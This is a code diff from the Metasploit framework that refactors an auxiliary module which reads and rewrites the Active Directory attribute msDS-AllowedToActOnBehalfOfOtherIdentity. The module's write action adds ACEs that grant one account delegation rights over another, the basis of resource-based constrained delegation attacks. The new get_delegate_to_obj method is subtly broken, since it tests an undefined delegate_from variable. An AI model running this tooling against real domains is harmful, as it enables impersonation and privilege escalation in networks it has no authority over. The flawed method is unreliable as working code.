5
5
6
6
class MetasploitModule < Msf ::Auxiliary
7
7
8
- include Msf ::Exploit ::Remote ::LDAP
8
+ include Msf ::Exploit ::Remote ::LDAP :: ActiveDirectory
9
9
include Msf ::OptionalSession ::LDAP
10
10
11
11
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity' . freeze
@@ -65,32 +65,19 @@ def build_ace(sid)
65
65
} )
66
66
end
67
67
68
- def fail_with_ldap_error ( message )
69
- ldap_result = @ldap . get_operation_result . table
70
- return if ldap_result [ :code ] == 0
71
-
72
- print_error ( message )
73
- # Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
74
- case ldap_result [ :code ]
75
- when 1
76
- fail_with ( Failure ::Unknown , "An LDAP operational error occurred. The error was: #{ ldap_result [ :error_message ] . strip } " )
77
- when 16
78
- fail_with ( Failure ::NotFound , 'The LDAP operation failed because the referenced attribute does not exist.' )
79
- when 50
80
- fail_with ( Failure ::NoAccess , 'The LDAP operation failed due to insufficient access rights.' )
81
- when 51
82
- fail_with ( Failure ::UnexpectedReply , 'The LDAP operation failed because the server is too busy to perform the request.' )
83
- when 52
84
- fail_with ( Failure ::UnexpectedReply , 'The LDAP operation failed because the server is not currently available to process the request.' )
85
- when 53
86
- fail_with ( Failure ::UnexpectedReply , 'The LDAP operation failed because the server is unwilling to perform the request.' )
87
- when 64
88
- fail_with ( Failure ::Unknown , 'The LDAP operation failed due to a naming violation.' )
89
- when 65
90
- fail_with ( Failure ::Unknown , 'The LDAP operation failed due to an object class violation.' )
68
+ def get_delegate_to_obj
69
+ delegate_to = datastore [ 'DELEGATE_TO' ]
70
+ if delegate_to . blank?
71
+ fail_with ( Failure ::BadConfig , 'The DELEGATE_TO option must be specified for this action.' )
91
72
end
92
73
93
- fail_with ( Failure ::Unknown , "Unknown LDAP error occurred: result: #{ ldap_result [ :code ] } message: #{ ldap_result [ :error_message ] . strip } " )
74
+ obj = adds_get_object_by_samaccountname ( @ldap , delegate_to )
75
+ if obj . nil? && !delegate_from . end_with? ( '$' )
76
+ obj = adds_get_object_by_samaccountname ( @ldap , "#{ delegate_to } $" )
77
+ end
78
+ fail_with ( Failure ::NotFound , "Failed to find sAMAccountName: #{ delegate_to } " ) unless obj
79
+
80
+ obj
94
81
end
95
82
96
83
def get_delegate_from_obj
@@ -99,37 +86,15 @@ def get_delegate_from_obj
99
86
fail_with ( Failure ::BadConfig , 'The DELEGATE_FROM option must be specified for this action.' )
100
87
end
101
88
102
- obj = ldap_get ( "(sAMAccountName= #{ delegate_from } )" , attributes : [ 'sAMAccountName' , 'ObjectSID' ] )
89
+ obj = adds_get_object_by_samaccountname ( @ldap , delegate_from )
103
90
if obj . nil? && !delegate_from . end_with? ( '$' )
104
- obj = ldap_get ( "(sAMAccountName= #{ delegate_from } $)" , attributes : [ 'sAMAccountName' , 'ObjectSID' ] )
91
+ obj = adds_get_object_by_samaccountname ( @ldap , " #{ delegate_from } $" )
105
92
end
106
93
fail_with ( Failure ::NotFound , "Failed to find sAMAccountName: #{ delegate_from } " ) unless obj
107
94
108
95
obj
109
96
end
110
97
111
- def ldap_get ( filter , attributes : [ ] )
112
- raw_obj = @ldap . search ( base : @base_dn , filter : filter , attributes : attributes ) . first
113
- return nil unless raw_obj
114
-
115
- obj = { }
116
-
117
- obj [ 'dn' ] = raw_obj [ 'dn' ] . first . to_s
118
- unless raw_obj [ 'sAMAccountName' ] . empty?
119
- obj [ 'sAMAccountName' ] = raw_obj [ 'sAMAccountName' ] . first . to_s
120
- end
121
-
122
- unless raw_obj [ 'ObjectSid' ] . empty?
123
- obj [ 'ObjectSid' ] = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( raw_obj [ 'ObjectSid' ] . first )
124
- end
125
-
126
- unless raw_obj [ ATTRIBUTE ] . empty?
127
- obj [ ATTRIBUTE ] = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . read ( raw_obj [ ATTRIBUTE ] . first )
128
- end
129
-
130
- obj
131
- end
132
-
133
98
def run
134
99
ldap_connect do |ldap |
135
100
validate_bind_success! ( ldap )
@@ -145,12 +110,7 @@ def run
145
110
end
146
111
@ldap = ldap
147
112
148
- delegate_to = datastore [ 'DELEGATE_TO' ]
149
- obj = ldap_get ( "(sAMAccountName=#{ delegate_to } )" , attributes : [ 'sAMAccountName' , 'ObjectSID' , ATTRIBUTE ] )
150
- if obj . nil? && !delegate_to . end_with? ( '$' )
151
- obj = ldap_get ( "(sAMAccountName=#{ delegate_to } $)" , attributes : [ 'sAMAccountName' , 'ObjectSID' , ATTRIBUTE ] )
152
- end
153
- fail_with ( Failure ::NotFound , "Failed to find sAMAccountName: #{ delegate_to } " ) unless obj
113
+ obj = get_delegate_to_obj
154
114
155
115
send ( "action_#{ action . name . downcase } " , obj )
156
116
end
@@ -165,12 +125,12 @@ def run
165
125
end
166
126
167
127
def action_read ( obj )
168
- security_descriptor = obj [ ATTRIBUTE ]
169
- if security_descriptor . nil?
128
+ if obj [ ATTRIBUTE ] . first . nil?
170
129
print_status ( "The #{ ATTRIBUTE } field is empty." )
171
130
return
172
131
end
173
132
133
+ security_descriptor = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . read ( obj [ ATTRIBUTE ] . first )
174
134
if ( sddl = sd_to_sddl ( security_descriptor ) )
175
135
vprint_status ( "#{ ATTRIBUTE } : #{ sddl } " )
176
136
end
@@ -182,9 +142,9 @@ def action_read(obj)
182
142
183
143
print_status ( 'Allowed accounts:' )
184
144
security_descriptor . dacl . aces . each do |ace |
185
- account_name = ldap_get ( "(ObjectSid= #{ ace . body . sid } )" , attributes : [ 'sAMAccountName' ] )
145
+ account_name = adds_get_object_by_sid ( @ldap , ace . body . sid )
186
146
if account_name
187
- print_status ( " #{ ace . body . sid } (#{ account_name [ ' sAMAccountName' ] } )" )
147
+ print_status ( " #{ ace . body . sid } (#{ account_name [ : sAMAccountName] . first } )" )
188
148
else
189
149
print_status ( " #{ ace . body . sid } " )
190
150
end
@@ -194,14 +154,14 @@ def action_read(obj)
194
154
def action_remove ( obj )
195
155
delegate_from = get_delegate_from_obj
196
156
197
- security_descriptor = obj [ ATTRIBUTE ]
157
+ security_descriptor = Rex :: Proto :: MsDtyp :: MsDtypSecurityDescriptor . read ( obj [ ATTRIBUTE ] . first )
198
158
unless security_descriptor . dacl && !security_descriptor . dacl . aces . empty?
199
159
print_status ( 'No DACL ACEs are present. No changes are necessary.' )
200
160
return
201
161
end
202
162
203
163
aces = security_descriptor . dacl . aces . snapshot
204
- aces . delete_if { |ace | ace . body [ : sid] == delegate_from [ 'ObjectSid' ] }
164
+ aces . delete_if { |ace | ace . body . sid == delegate_from [ :objectSid ] . first }
205
165
delta = security_descriptor . dacl . aces . length - aces . length
206
166
if delta == 0
207
167
print_status ( 'No DACL ACEs matched. No changes are necessary.' )
@@ -214,28 +174,27 @@ def action_remove(obj)
214
174
security_descriptor . dacl . acl_count . clear
215
175
security_descriptor . dacl . acl_size . clear
216
176
217
- unless @ldap . replace_attribute ( obj [ 'dn' ] , ATTRIBUTE , security_descriptor . to_binary_s )
218
- fail_with_ldap_error ( "Failed to update the #{ ATTRIBUTE } attribute." )
219
- end
177
+ @ldap . replace_attribute ( obj . dn , ATTRIBUTE , security_descriptor . to_binary_s )
178
+ validate_query_result! ( @ldap . get_operation_result . table )
179
+
220
180
print_good ( "Successfully updated the #{ ATTRIBUTE } attribute." )
221
181
end
222
182
223
183
def action_flush ( obj )
224
- unless obj [ ATTRIBUTE ]
184
+ unless obj [ ATTRIBUTE ] &. first
225
185
print_status ( "The #{ ATTRIBUTE } field is empty. No changes are necessary." )
226
186
return
227
187
end
228
188
229
- unless @ldap . delete_attribute ( obj [ 'dn' ] , ATTRIBUTE )
230
- fail_with_ldap_error ( "Failed to deleted the #{ ATTRIBUTE } attribute." )
231
- end
189
+ @ldap . delete_attribute ( obj . dn , ATTRIBUTE )
190
+ validate_query_result! ( @ldap . get_operation_result . table )
232
191
233
192
print_good ( "Successfully deleted the #{ ATTRIBUTE } attribute." )
234
193
end
235
194
236
195
def action_write ( obj )
237
196
delegate_from = get_delegate_from_obj
238
- if obj [ ATTRIBUTE ]
197
+ if obj [ ATTRIBUTE ] &. first
239
198
_action_write_update ( obj , delegate_from )
240
199
else
241
200
_action_write_create ( obj , delegate_from )
@@ -244,36 +203,36 @@ def action_write(obj)
244
203
245
204
def _action_write_create ( obj , delegate_from )
246
205
vprint_status ( "Creating new #{ ATTRIBUTE } ..." )
206
+ delegate_from_sid = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( delegate_from [ :objectSid ] . first )
247
207
security_descriptor = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . new
248
208
security_descriptor . owner_sid = Rex ::Proto ::MsDtyp ::MsDtypSid . new ( 'S-1-5-32-544' )
249
209
security_descriptor . dacl = Rex ::Proto ::MsDtyp ::MsDtypAcl . new
250
210
security_descriptor . dacl . acl_revision = Rex ::Proto ::MsDtyp ::MsDtypAcl ::ACL_REVISION_DS
251
- security_descriptor . dacl . aces << build_ace ( delegate_from [ 'ObjectSid' ] )
211
+ security_descriptor . dacl . aces << build_ace ( delegate_from_sid )
252
212
253
213
if ( sddl = sd_to_sddl ( security_descriptor ) )
254
214
vprint_status ( "New #{ ATTRIBUTE } : #{ sddl } " )
255
215
end
256
216
257
- unless @ldap . add_attribute ( obj [ 'dn' ] , ATTRIBUTE , security_descriptor . to_binary_s )
258
- fail_with_ldap_error ( "Failed to create the #{ ATTRIBUTE } attribute." )
259
- end
217
+ @ldap . add_attribute ( obj . dn , ATTRIBUTE , security_descriptor . to_binary_s )
218
+ validate_query_result! ( @ldap . get_operation_result . table )
260
219
261
220
print_good ( "Successfully created the #{ ATTRIBUTE } attribute." )
262
221
print_status ( 'Added account:' )
263
- print_status ( " #{ delegate_from [ 'ObjectSid' ] } (#{ delegate_from [ ' sAMAccountName' ] } )" )
222
+ print_status ( " #{ delegate_from_sid } (#{ delegate_from [ : sAMAccountName] . first } )" )
264
223
end
265
224
266
225
def _action_write_update ( obj , delegate_from )
267
226
vprint_status ( "Updating existing #{ ATTRIBUTE } ..." )
268
- security_descriptor = obj [ ATTRIBUTE ]
227
+ security_descriptor = Rex :: Proto :: MsDtyp :: MsDtypSecurityDescriptor . read ( obj [ ATTRIBUTE ] . first )
269
228
270
229
if ( sddl = sd_to_sddl ( security_descriptor ) )
271
230
vprint_status ( "Old #{ ATTRIBUTE } : #{ sddl } " )
272
231
end
273
232
274
233
if security_descriptor . dacl
275
- if security_descriptor . dacl . aces . any? { |ace | ace . body [ :sid ] . to_s == delegate_from [ 'ObjectSid' ] . to_s }
276
- print_status ( "Delegation from #{ delegate_from [ ' sAMAccountName' ] } to #{ obj [ ' sAMAccountName' ] } is already configured." )
234
+ if security_descriptor . dacl . aces . any? { |ace | ace . body . sid == delegate_from [ :objectSid ] . first }
235
+ print_status ( "Delegation from #{ delegate_from [ : sAMAccountName] . first } to #{ obj [ : sAMAccountName] . first } is already configured." )
277
236
end
278
237
# clear these fields so they'll be calculated automatically after the update
279
238
security_descriptor . dacl . acl_count . clear
@@ -284,15 +243,15 @@ def _action_write_update(obj, delegate_from)
284
243
security_descriptor . dacl . acl_revision = Rex ::Proto ::MsDtyp ::MsDtypAcl ::ACL_REVISION_DS
285
244
end
286
245
287
- security_descriptor . dacl . aces << build_ace ( delegate_from [ 'ObjectSid' ] )
246
+ delegate_from_sid = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( delegate_from [ :objectSid ] . first )
247
+ security_descriptor . dacl . aces << build_ace ( delegate_from_sid )
288
248
289
249
if ( sddl = sd_to_sddl ( security_descriptor ) )
290
250
vprint_status ( "New #{ ATTRIBUTE } : #{ sddl } " )
291
251
end
292
252
293
- unless @ldap . replace_attribute ( obj [ 'dn' ] , ATTRIBUTE , security_descriptor . to_binary_s )
294
- fail_with_ldap_error ( "Failed to update the #{ ATTRIBUTE } attribute." )
295
- end
253
+ @ldap . replace_attribute ( obj . dn , ATTRIBUTE , security_descriptor . to_binary_s )
254
+ validate_query_result! ( @ldap . get_operation_result . table )
296
255
297
256
print_good ( "Successfully updated the #{ ATTRIBUTE } attribute." )
298
257
end
0 commit comments